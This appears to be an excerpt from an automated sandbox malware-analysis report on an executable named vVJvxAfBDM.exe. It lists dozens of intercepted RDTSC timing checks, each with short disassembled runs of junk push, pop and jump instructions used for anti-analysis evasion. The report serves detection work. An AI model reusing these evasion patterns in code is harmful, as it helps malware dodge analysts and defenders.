Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 393ABB second address: 393AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007FA9388D7B76h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 39956E second address: 399588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA938DCFC46h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3990DD second address: 3990E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3990E1 second address: 39910D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jbe 00007FA938DCFC36h 0x0000000f pop esi 0x00000010 jmp 00007FA938DCFC42h 0x00000015 popad 0x00000016 jng 00007FA938DCFC4Fh 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3992AD second address: 3992C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA9388D7B83h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3A5E8C second address: 3A5E9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC3Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3AA1A1 second address: 3AA1C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA9388D7B87h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f je 00007FA9388D7B76h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3A9D3D second address: 3A9D42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3A9D42 second address: 3A9D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jo 00007FA9388D7B7Eh 0x0000000b jbe 00007FA9388D7B76h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 jmp 00007FA9388D7B89h 0x0000001d jl 00007FA9388D7B76h 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3A9D7A second address: 3A9D80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3A9D80 second address: 3A9D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3A9D86 second address: 3A9D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3AD337 second address: 3AD34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA9388D7B7Ah 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3AD34B second address: 3AD34F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3AD34F second address: 3AD355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3AD355 second address: 3AD363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3AD363 second address: 3AD36C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3AD36C second address: 3AD372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3AEB90 second address: 3AEBBC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA9388D7B76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007FA9388D7B78h 0x00000012 pushad 0x00000013 popad 0x00000014 ja 00007FA9388D7B82h 0x0000001a popad 0x0000001b push ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e push edx 0x0000001f pop edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3AEBBC second address: 3AEBC2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3B936B second address: 3B936F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3BBFAC second address: 3BBFBE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA938DCFC3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3BBFBE second address: 3BBFF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a js 00007FA9388D7B76h 0x00000010 pop eax 0x00000011 jmp 00007FA9388D7B87h 0x00000016 pushad 0x00000017 jmp 00007FA9388D7B7Fh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3BBE48 second address: 3BBE51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3BE2DD second address: 3BE2F1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA9388D7B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FA9388D7B7Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C1720 second address: 3C1724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C1724 second address: 3C172C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C6654 second address: 3C665C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C665C second address: 3C6666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA9388D7B76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C679E second address: 3C67A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C67A4 second address: 3C67BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FA9388D7B84h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C67BF second address: 3C67C6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C6A7F second address: 3C6A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C6A83 second address: 3C6A8D instructions: 0x00000000 rdtsc 0x00000002 js 00007FA938DCFC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C6BEF second address: 3C6BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C6E87 second address: 3C6E92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C6E92 second address: 3C6E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C6E98 second address: 3C6EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA938DCFC36h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C6EA3 second address: 3C6ECF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007FA9388D7B76h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA9388D7B81h 0x00000011 jmp 00007FA9388D7B7Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3C7AB1 second address: 3C7AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3CB229 second address: 3CB22F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3CB22F second address: 3CB23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA938DCFC36h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3CB23D second address: 3CB24F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA9388D7B7Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3DB62B second address: 3DB638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3DD00B second address: 3DD010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3DD010 second address: 3DD02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA938DCFC3Fh 0x0000000e jbe 00007FA938DCFC36h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3D86B3 second address: 3D86BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA9388D7B76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3D86BD second address: 3D86CC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA938DCFC36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3D86CC second address: 3D86DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA9388D7B76h 0x0000000a jnp 00007FA9388D7B76h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3D86DD second address: 3D870D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC42h 0x00000007 pushad 0x00000008 jmp 00007FA938DCFC49h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3D870D second address: 3D8750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA9388D7B88h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e jmp 00007FA9388D7B7Dh 0x00000013 jmp 00007FA9388D7B80h 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3EAF84 second address: 3EAF93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3EAB09 second address: 3EAB12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3EAB12 second address: 3EAB52 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA938DCFC38h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d je 00007FA938DCFC36h 0x00000013 pushad 0x00000014 popad 0x00000015 jnc 00007FA938DCFC36h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e je 00007FA938DCFC50h 0x00000024 push eax 0x00000025 pop eax 0x00000026 jmp 00007FA938DCFC48h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3EAB52 second address: 3EAB66 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007FA9388D7B76h 0x00000009 jg 00007FA9388D7B76h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3EAB66 second address: 3EAB6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3FFBC6 second address: 3FFBCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3FFBCC second address: 3FFBE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA938DCFC41h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3FFBE7 second address: 3FFBED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3FEB64 second address: 3FEB8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA938DCFC3Dh 0x00000009 pop edi 0x0000000a jo 00007FA938DCFC38h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FA938DCFC3Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3FEFB9 second address: 3FEFBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3FF0CD second address: 3FF0D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3FF0D5 second address: 3FF0E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA9388D7B76h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3FF0E0 second address: 3FF0EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FA938DCFC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3FF0EA second address: 3FF12A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FA9388D7B88h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA9388D7B84h 0x00000017 push eax 0x00000018 push edx 0x00000019 je 00007FA9388D7B76h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3FF12A second address: 3FF130 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3FF3E6 second address: 3FF3EB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3FF3EB second address: 3FF417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jl 00007FA938DCFC3Ah 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 jmp 00007FA938DCFC45h 0x00000019 pushad 0x0000001a popad 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 401314 second address: 401330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jnc 00007FA9388D7B7Ch 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 401330 second address: 401336 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 401336 second address: 40133C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 40133C second address: 401354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA938DCFC42h 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 403BBC second address: 403BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FA9388D7B76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 403E43 second address: 403EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 je 00007FA938DCFC3Ch 0x0000000c mov edx, dword ptr [ebp+122D37A1h] 0x00000012 push 00000004h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FA938DCFC38h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e xor dh, FFFFFF84h 0x00000031 pushad 0x00000032 call 00007FA938DCFC46h 0x00000037 mov dword ptr [ebp+12484291h], eax 0x0000003d pop ebx 0x0000003e mov dword ptr [ebp+122D2E4Ch], eax 0x00000044 popad 0x00000045 push 7230E9A0h 0x0000004a jbe 00007FA938DCFC4Ch 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FA938DCFC3Eh 0x00000057 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 4073C9 second address: 4073CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 4073CD second address: 4073D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31F639 second address: 31F63F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54903E5 second address: 54903EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54903EB second address: 54903EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54903EF second address: 5490409 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov edx, 4A1F7928h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 5490409 second address: 549046B instructions: 0x00000000 rdtsc 0x00000002 mov si, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 mov al, bh 0x0000000a pushfd 0x0000000b jmp 00007FA9388D7B84h 0x00000010 xor cl, FFFFFF88h 0x00000013 jmp 00007FA9388D7B7Bh 0x00000018 popfd 0x00000019 popad 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FA9388D7B7Bh 0x00000025 and si, 9FCEh 0x0000002a jmp 00007FA9388D7B89h 0x0000002f popfd 0x00000030 mov dl, ah 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 549046B second address: 54904B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA938DCFC48h 0x00000009 sub cx, 2B78h 0x0000000e jmp 00007FA938DCFC3Bh 0x00000013 popfd 0x00000014 mov edx, esi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FA938DCFC41h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54904B2 second address: 54904B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54904B8 second address: 54904DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54904DA second address: 54904F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C05C4 second address: 54C05CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
